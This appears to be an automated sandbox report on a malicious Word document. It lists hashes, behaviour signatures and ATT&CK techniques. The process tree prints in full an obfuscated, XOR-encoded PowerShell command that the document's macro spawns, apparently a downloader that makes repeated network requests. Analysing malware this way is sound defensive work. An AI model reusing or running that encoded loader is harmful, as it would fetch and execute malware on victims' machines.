21a401d8f6056563b4407523c1ac95dfa0d840bd650bbd1cc00cdaf6fecf26e6

General

Target

eefab844f33676eedccdb53d09db6922_JaffaCakes118.doc
Size

84KB
MD5

eefab844f33676eedccdb53d09db6922
SHA1

564da08abc1968d87af8a38415ea4b621e72d47b
SHA256

21a401d8f6056563b4407523c1ac95dfa0d840bd650bbd1cc00cdaf6fecf26e6
SHA512

fdd9c702950440af1e9b23065385fa594f17669c6d2addb06011f12c8f393ba6016beaaaafc051c3ad78445c86201d5bf4e728292d5935effacd24ba9cba6e94
SSDEEP

1536:A4hGD1YOki98+agvtPj7R44h4+ZXBukGgWX7R:0D1vTdj7Bi+ZRuTgWV

Score

10^/10

discovery execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	2580	2380	POwerSHell.exe	29

Blocklisted process makes network request 9 IoCs

flow	pid	Process
5	2580	POwerSHell.exe
6	2580	POwerSHell.exe
7	2580	POwerSHell.exe
9	2580	POwerSHell.exe
10	2580	POwerSHell.exe
11	2580	POwerSHell.exe
13	2580	POwerSHell.exe
14	2580	POwerSHell.exe
16	2580	POwerSHell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2580	POwerSHell.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	POwerSHell.exe

Office loads VBA resources, possible macro or embedded object present

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2380	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2580	POwerSHell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2580	POwerSHell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2380	WINWORD.EXE
2380	WINWORD.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2380 wrote to memory of 2448	2380	WINWORD.EXE	30
PID 2380 wrote to memory of 2448	2380	WINWORD.EXE	30
PID 2380 wrote to memory of 2448	2380	WINWORD.EXE	30
PID 2380 wrote to memory of 2448	2380	WINWORD.EXE	30
PID 2380 wrote to memory of 2580	2380	WINWORD.EXE	31
PID 2380 wrote to memory of 2580	2380	WINWORD.EXE	31
PID 2380 wrote to memory of 2580	2380	WINWORD.EXE	31
PID 2380 wrote to memory of 2580	2380	WINWORD.EXE	31

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\eefab844f33676eedccdb53d09db6922_JaffaCakes118.doc"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2380
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2448
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\POwerSHell.exe
  POwerSHell &( $pSHome[21]+$psHOmE[30]+'x')( "$(SEt-iTEM 'VaRIAbLe:OFs' '')" +[STRING]( '11@97,122w95w64s123L85@15L18e15A65A74M88,2A64L77,69@74e76L91M15e93w78G65L75@64G66L20s11@105k106L96A69M67@76s15,18@15,65k74G88L2A64A77e69e74s76G91k15e124@86,92G91L74e66s1s97@74M91@1w120e74G77@108G67,70,74M65A91G20M11M92w120@106L90k78@15s18,15A8M71A91,91L95s21L0k0w75w64s67,90k64,65s72w71G70s74e90G94A90@78A1,76w64,66M0e122A125@103w75k122A124k127e123@85A22s0A111L71G91k91e95w21w0@0s92,86A65A74w93L72L86@76L78G95e70k91A78@67M1k69L95@0s95k103A101G126,103,127s25@0A111k71w91w91M95w21e0,0e88M88@88G1k66L74@64A71A78A86A77@64e91e90w70k1M76M64e66w0,94G102e91G69k104k102@0k111k71M91L91M95L21e0M0@70s95k71s64L65s74G92A1s77s70s75e0e101M72,105e124L92s89@75,28k0s111@71w91A91@95k21k0s0w88G88L88e1M64M66e90G93L66k78k68w70L65@78,1G65e74G91s0k106M31L126G87G70@24,70A121M107k124e0e8w1s124,95e67w70k91w7w8w111L8e6M20A11w70G95G127,106,69M110@15s18s15@11A97A122M95s64w123A85s1w65w74e87s91w7A30A3G15L27e31L23G27A26L27s6k20k11L117s71w88s101M69s15s18M15@11A74w65A89@21L91M74M66w95A15@4,15M8k115s8w15G4k15M11k70G95s127w106G69s110A15w4A15e8@1,74e87w74e8L20w73,64G93G74e78G76A71M7@11,118@75L94k64w124k15M70s65G15,11G92e120e106w90w78A6,84k91G93G86e84@11k105k106A96A69A67@76G1G107k64e88A65w67,64e78,75L105k70M67A74w7@11G118@75e94k64A124L1e123L64L124G91w93e70A65w72M7A6G3,15w11,117A71e88A101w69A6M20M124e91s78A93G91M2M127@93A64L76,74e92M92L15A11k117M71e88@101s69w20L77k93,74M78A68A20k82@76s78s91A76G71e84@88M93s70,91s74,2L71L64L92,91G15G11L112s1@106M87M76A74@95L91,70s64,65k1M98L74e92G92k78@72A74w20L82e82'.sPLIt( ',@AMGekwsL' ) |fOreACH{ [chaR]($_ -BxOr '0x2f') }) +"$( sEt-ITeM 'VARIABlE:Ofs' ' ' ) ")
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2580

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

Filesize
19KB

MD5
3277670a582d934ddc8f02d5b31902f9

SHA1
85b3d5302ab00e73d8d362f81949dc1b9b42979b

SHA256
ec380f755f26e0ea0ef3cfb628b31fde2d38c64eda12367fcfbeaa304416e6de

SHA512
8e7428186f85f622964c36b6d1e837b2d82dbc3b614d2ebfe94d634c9d4a07704d16c4160fd4e6648c7dd069b87c7e50199c5d6989b076add5131e171712e945

Download Submit
memory/2380-87-0x00000000065E0000-0x00000000066E0000-memory.dmp

Filesize
1024KB

Download
memory/2380-2-0x000000007171D000-0x0000000071728000-memory.dmp

Filesize
44KB

Download
memory/2380-13-0x00000000065E0000-0x00000000066E0000-memory.dmp

Filesize
1024KB

Download
memory/2380-71-0x00000000065E0000-0x00000000066E0000-memory.dmp

Filesize
1024KB

Download
memory/2380-88-0x00000000065E0000-0x00000000066E0000-memory.dmp

Filesize
1024KB

Download
memory/2380-0-0x000000002F171000-0x000000002F172000-memory.dmp

Filesize
4KB

Download
memory/2380-97-0x000000007171D000-0x0000000071728000-memory.dmp

Filesize
44KB

Download
memory/2380-98-0x00000000065E0000-0x00000000066E0000-memory.dmp

Filesize
1024KB

Download
memory/2380-99-0x00000000065E0000-0x00000000066E0000-memory.dmp

Filesize
1024KB

Download
memory/2380-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2380-114-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2380-115-0x000000007171D000-0x0000000071728000-memory.dmp

Filesize
44KB

Download
memory/2580-92-0x00000000056F0000-0x0000000005748000-memory.dmp

Filesize
352KB

Download

Analysis

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